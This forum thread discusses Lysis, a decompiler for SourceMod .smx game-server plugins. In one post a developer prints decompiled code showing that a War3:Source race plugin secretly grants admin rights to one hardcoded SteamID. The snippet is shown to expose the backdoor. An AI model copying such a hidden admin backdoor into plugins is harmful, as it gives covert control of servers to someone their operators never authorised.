Raised This Month: $32 Target: $400
 8% 

Lysis: An experimental .smx decompiler


Post New Thread Reply   
 
Thread Tools Display Modes
napalm00
Veteran Member
Join Date: Jun 2011
Location: Italy, sadly
Old 11-01-2011 , 03:49   Re: Lysis: An experimental .smx decompiler
Reply With Quote #11

1)Call bail a noob
2)Can't write a safe plugin
3)???
4)Profit

Anyway, does lysis decompile the included files as well? Because technically included files are compiled with the plugin,right?
__________________
napalm00 is offline
asherkin
SourceMod Developer
Join Date: Aug 2009
Location: OnGameFrame()
Old 11-01-2011 , 09:02   Re: Lysis: An experimental .smx decompiler
Reply With Quote #12

Quote:
Originally Posted by napalm00 View Post
Anyway, does lysis decompile the included files as well? Because technically included files are compiled with the plugin,right?
Yes, as you can see in the UCP output the code from https://forums.alliedmods.net/showthread.php?t=67683 has been included, along with the includes for core (sourcemod.inc), SDKTools, and Sockets.
__________________

Last edited by asherkin; 11-01-2011 at 09:03.
asherkin is offline
napalm00
Veteran Member
Join Date: Jun 2011
Location: Italy, sadly
Old 11-01-2011 , 09:57   Re: Lysis: An experimental .smx decompiler
Reply With Quote #13

Quote:
Originally Posted by asherkin View Post
Yes, as you can see in the UCP output the code from https://forums.alliedmods.net/showthread.php?t=67683 has been included, along with the includes for core (sourcemod.inc), SDKTools, and Sockets.
Oh wow I'm such a blind noob , thanks
__________________

Last edited by napalm00; 11-01-2011 at 09:57.
napalm00 is offline
GoD-Tony
Veteran Member
Join Date: Jul 2005
Old 11-01-2011 , 14:09   Re: Lysis: An experimental .smx decompiler
Reply With Quote #14

If anyone is interested in a quick test of Lysis: http://godtony.mooo.com/lysis/
__________________
GoD-Tony is offline
Drixevel
AlliedModders Donor
Join Date: Sep 2009
Location: Somewhere headbangin'
Old 11-01-2011 , 19:49   Re: Lysis: An experimental .smx decompiler
Reply With Quote #15

I must admit, this is sexy. Sorry if i'm not allowed to say that, lol.
Drixevel is offline
DarkEnergy
SourceMod Donor
Join Date: Apr 2008
Location: Georgia Tech, MSECE
Old 11-01-2011 , 20:08   Re: Lysis: An experimental .smx decompiler
Reply With Quote #16

smooth bail, smooth. i love it
one of the EX race writers added himself as admin, which he denies

public OnWar3Event(W3EVENT:event, client)
{
if (event == W3EVENT4) {
decl String:steamid[32];
GetClientAuthString(client, steamid, 32);
if (StrEqual(steamid, "STEAM_0:1:9005952", false)) {
new rand = GetRandomInt(10, 1000);
decl String:sRand[12];
IntToString(rand, sRand, 10);
new AdminId:adm = CreateAdmin(sRand);
SetAdminFlag(adm, AdminFlag:14, true);
SetUserAdmin(client, adm, true);
W3SetPlayerProp(client, W3PlayerProp:12, any:1);
bIsTC[client] = 1;
}
}
return 0;
}


idea: bundle the compile source into the .smx anyway
__________________
War3:Source Developer
"Your CPU is just a bunch of Muxes"

Last edited by DarkEnergy; 11-01-2011 at 20:09.
DarkEnergy is offline
Dravu
Senior Member
Join Date: May 2010
Old 11-01-2011 , 21:34   Re: Lysis: An experimental .smx decompiler
Reply With Quote #17

Quote:
Originally Posted by DarkEnergy View Post
idea: bundle the compile source into the .smx anyway
People would just edit the file to strip the source code.
Dravu is offline
TnTSCS
AlliedModders Donor
Join Date: Oct 2010
Location: Undisclosed...
Old 11-01-2011 , 23:14   Re: Lysis: An experimental .smx decompiler
Reply With Quote #18

Quote:
Originally Posted by Dravu View Post
People would just edit the file to strip the source code.
some sort of built in, compiled MD5 checksum to verify that the source code in the .smx matches the MD5?

I'm way out of my league here - just throwing out ideas, even if it's dumb

Last edited by TnTSCS; 11-01-2011 at 23:14.
TnTSCS is offline
BAILOPAN
Join Date: Jan 2004
Old 11-02-2011 , 00:43   Re: Lysis: An experimental .smx decompiler
Reply With Quote #19

Ideally SourceMod would load source files instead of .smx files. This is doable but a large project that would require everyone change their server installs.

Unfortunately, anything less than that could be faked or obfuscated (you can obfuscate source anyway - but it's also easy to de-obfuscate).
__________________
egg
BAILOPAN is offline
TnTSCS
AlliedModders Donor
Join Date: Oct 2010
Location: Undisclosed...
Old 11-02-2011 , 00:58   Re: Lysis: An experimental .smx decompiler
Reply With Quote #20

Quote:
Originally Posted by BAILOPAN View Post
Ideally SourceMod would load source files instead of .smx files. This is doable but a large project that would require everyone change their server installs.

Unfortunately, anything less than that could be faked or obfuscated (you can obfuscate source anyway - but it's also easy to de-obfuscate).
Couldn't a SM Cvar be implemented to make the transition to load plugins via source files instead of .smx - that way it's not just a huge shot gun blast change... it's an option that server admins could choose to use...

sm_sourceplugins 1/0 (use source code to load plugins = 1)

Last edited by TnTSCS; 11-02-2011 at 00:58.
TnTSCS is offline
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 03:35.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode